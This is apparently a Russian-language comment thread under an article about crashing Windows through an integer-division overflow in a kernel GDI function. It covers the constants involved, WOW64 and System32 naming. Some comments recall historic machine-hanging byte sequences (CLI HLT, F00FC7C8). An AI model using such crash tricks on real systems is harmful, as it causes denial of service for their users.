                                                                                                                                                      0
                                                                                                                                                      Спасибо, исправил.
                                                                                                                                                      Я могу это объяснить только таким образом: для эмуляции 32-битных инструкций используется wow64, а его реализация различные для разных процессоров. Видимо в некоторых реализациях не бросается исключение.
                                                                                                                                                        +3
                                                                                                                                                        Это вы лихо всё виртуалками обернули. В long-mode (amd64) 32-битные инструкции выполняются аппаратно.
                                                                                                                                                      +2
                                                                                                                                                      Объясните, как
                                                                                                                                                      ((int) 0x8000/0x80000000)
                                                                                                                                                      
                                                                                                                                                      связано с INT_MIN?
                                                                                                                                                      Если считать руками, получается 0; если считать с помощью gcc, опять получается 0.
                                                                                                                                                        0
                                                                                                                                                        Исправил
                                                                                                                                                          +2
                                                                                                                                                          Не используйте пожалуйста магические константы в коде, прошу вас. Даже в таком.
                                                                                                                                                          p.s: лучше всего вообще уберите магию из поста, используйте limits он именно для этого придуман. Даже текущий код с магией не заработает на x64.
                                                                                                                                                          0
                                                                                                                                                          В статье теперь "-2147483648", вопрос снимается.
                                                                                                                                                            0
                                                                                                                                                            error C4146: unary minus operator applied to unsigned type, result still unsigned
                                                                                                                                                          +26
                                                                                                                                                          Я уроню эту систему с пяти строк!
                                                                                                                                                            +1
                                                                                                                                                            Ждем вашу статью на эту тему!
                                                                                                                                                              +1
                                                                                                                                                              Ну, уранивайте.
                                                                                                                                                              +1
                                                                                                                                                              Когда-то давным-давно win9x прекрасно вешалась com-файлом из 2х байт — CLI HLT (если мне не изменяет память, 0xFA 0xF4). Прогресс же!
                                                                                                                                                                0
                                                                                                                                                                А когда-то любой ммхатый пень вешался с четырёх байт F00FC7C8.
                                                                                                                                                                0
                                                                                                                                                                очевидно, в х64 нужно пробовать сделать 64битное переполнение, а не 32битное?
                                                                                                                                                                ведь x86 функции там идут на обертки
                                                                                                                                                                  0
                                                                                                                                                                  Я не нашёл такой функции, которая принимает два 64-битных параметра и делит один на другой в ядре системы.
                                                                                                                                                                    0
                                                                                                                                                                    А та-же самая ScaleWindowExtEx в 64-битной gdi32.dll?
                                                                                                                                                                      0
                                                                                                                                                                      Такой, к сожалению, нету. Есть только функция, которая принимает 32-битные числа.
                                                                                                                                                                        +2
                                                                                                                                                                        > в 64-битной gdi32.dll

                                                                                                                                                                        Это прекрасно )
                                                                                                                                                                          +4
                                                                                                                                                                          Кстате да, я так и не понял почему в 64битной венде 64битные dll с именами *32 пошли в папку system32, а 32битные переехали в syswow64… бред же…
                                                                                                                                                                            +1
                                                                                                                                                                            Мне тут рассказали что «WOW64 == Windows 32-bit on Windows 64-bit»
                                                                                                                                                                              0
                                                                                                                                                                              Это понятно. непонятно, нахрена «все» было обзывать с постфиксом "*32", если не с планами затем сделать аналогичное "*64"…
                                                                                                                                                                                +1
                                                                                                                                                                                тут как раз 32 не потому что потом будет 64, а потому что раньше было 16
                                                                                                                                                                                  +1
                                                                                                                                                                                  Но ведь логично же продолжить ряд названий… или у меня какая-то другая логика?..
                                                                                                                                                                            +1
                                                                                                                                                                            technet.microsoft.com/en-us/magazine/ff955767.aspx
                                                                                                                                                                            В мире оказалось слишком много программ с захардкоженным именем папки System32, и чтобы их не сломать, оказалось проще ввести перенаправление на уровне файловой системы. 32-битные приложения, обращаясь к system32, видят 32-битные версии, реально лежащие в syswow64, 64-битные, обращаясь туда же, видят 64-битные версии.
                                                                                                                                                                              +2
                                                                                                                                                                              Мне кажется странным это обоснование.
                                                                                                                                                                              Если в 32битной программе жестко прописан путь к System32, то если в 64битной системе размещать новые 64битные библиотеки в System64, это ничего не сломает. 64битные программы сами по себе не берутся, их как минимум перекомпилируют производители, а следовательно они сразу найдут, где прописан неправильный путь.